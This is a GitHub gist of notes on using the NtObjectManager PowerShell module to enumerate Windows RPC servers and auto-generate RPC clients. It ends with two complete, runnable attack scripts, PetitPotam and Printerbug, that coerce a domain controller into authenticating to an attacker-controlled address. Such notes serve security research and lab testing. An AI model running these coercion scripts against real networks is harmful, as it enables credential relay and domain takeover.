Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created October 4, 2024 05:54
Notes on the excellent tooling NtObjectManager of James Forshaw, regarding RPC.

References

Install tiraniddo's NtObjectManager in PowerShell

  • Install-Module -Name NtObjectManager
  • Import of not already loaded: Import-Module -Name NtObjectManager

Enumerate potential RPC servers

  • Get potential RPC servers stored in executables and dll's
    • This does not mean all the code is actually accessible
$rpcservers = ls -recurse C:\Windows\System32 -Include '*.exe',"*.dll" | Get-RpcServer
$rpcserversext = $rpcservers | select -ExpandProperty FilePath | Sort -Unique | Get-RpcServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll"

Finding interesting services

  • Find RPC servers that have procedures with the keyword file
$keyword = "file"
$rpcserversext |% {
    $server = $_
    $procedures = ($server.Procedures |? {$_.Name -imatch $keyword} | Select -ExpandProperty Name)
    if ($procedures) {
        Write-Host $server.name $server.InterfaceId
        $procedures |% {
            $procedure = $_
            Write-Host "`tProcedure: ${procedure}"
        }
    }
}

Requesting a specific RPC Service (UUID)

$server = $rpcserversext |? {$_.InterfaceId -eq 'c681d488-d850-11d0-8c52-00c04fd90f7e'}

Automatically generate a client

  • By automated reverse engineering and code generation, NtObjectManager is able to implement an RPC Client on-the-fly
    • This requires the RPC Server to generate the code
$client = Get-RpcClient -Server $server
  • You can also get the code used for the client
Format-RpcClient -Server $server
  • Check the RPC methods
$client | gm

Endpoints

  • RPC Servers need to be accessed through an endpoint
    • TODO: Can't local RPC servers be instantiated without such an endpoint?
Connect-RpcClient -Client $client -ProtocolSequence ncacn_np -EndpointPath "\pipe\lsass"
# Check
$client.Connected
  • But this is connected locally and in some cases a remote authenticated connection is required
Connect-RpcClient -Client $client -StringBinding "ncacn_np:${destination}[\\pipe\\lsass]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName $user -Domain $domain -Password $password)

PetitPotam example

$vulntarget = "10.0.0.1"    # Domain controller for instance
$user = "user01"            # Valid domain creds
$password = "Password123!"  #
$domain = "lab01.local"     # Domain name
$attacker = "192.168.0.130" # Receives the coerced auth

# Get the specific RPC server: c681d488-d850-11d0-8c52-00c04fd90f7e
$server = Get-RPCServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll" -FullName "C:\Windows\System32\efslsaext.dll" |? {$_.InterfaceId -eq 'c681d488-d850-11d0-8c52-00c04fd90f7e'}

# Generate the RPC client code
$client = Get-RPCClient -Server $server

# Connect the RPC client to the endpoint on the vulnerable target, via lsass
Connect-RpcClient -Client $client -StringBinding "ncacn_np:${vulntarget}[\\pipe\\lsass]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName $user -Domain $domain -Password $password)

# Execute PetitPotam via EfsRpcEncryptFileSrv, pointing to the attacker address
$client.EfsRpcEncryptFileSrv_Downlevel("\\" + $attacker + '\C$\evil.txt')

Printerbug example

  • Slightly more complex, since it RpcOpenPrinter's third parameter requires a ComplexType which is a class in the auto-generated code
    • Well actually its the fourth parameter in the API, but the second parameter (p1) is an out parameter and not required to be called in the code
    • TODO: Maybe there are better solutions
$vulntarget = "10.0.0.1"    # Domain controller for instance
$user = "user01"            # Valid domain creds
$password = "Password123!"  #
$domain = "lab01.local"     # Domain name
$attacker = "192.168.0.130" # Receives the coerced auth

# Get the specific RPC server: 12345678-1234-abcd-ef00-0123456789ab
$server = Get-RPCServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll" -FullName "C:\Windows\System32\spoolsv.exe" |? {$_.InterfaceId -eq '12345678-1234-abcd-ef00-0123456789ab'}

# Generate the RPC client code
$client = Get-RPCClient -Server $server

# Connect the RPC client to the endpoint on the vulnerable target, via spoolss
Connect-RpcClient -Client $client -StringBinding "ncacn_np:${vulntarget}[\\pipe\\spoolss]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT -Credentials $(Get-LsaCredential -UserName $user -Domain $domain -Password $password)

# The `RpcOpenPrinter` 3rd parameter is a `ComplexType`, the following magic
# instantiates a new object of this type
# 1. Get the `RpcOpenPrinter` method definition
$method = $client.GetType().GetMethods() |? { $_.Name -eq 'RpcOpenPrinter' }
# 2. Get the 3rd parameter which is a ComplexType
$p3 = $method.GetParameters()[2]
# 3. Instantiate a new object for this 'ValueType'
$complex = [Activator]::CreateInstance($p3.ParameterType)

# Open the vulntarget as the printserver
$retval = $client.RpcOpenPrinter("\\$vulntarget", '', $complex, 0x00020002)

# Trigger the connection to the attacker, this requires another ComplexType, but it may be NULL
$PRINTER_CHANGE_ADD_JOB = 0x00000100
$client.RpcRemoteFindFirstPrinterChangeNotificationEx($retval.p1, $PRINTER_CHANGE_ADD_JOB, 0, "\\$attacker",0, $null);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment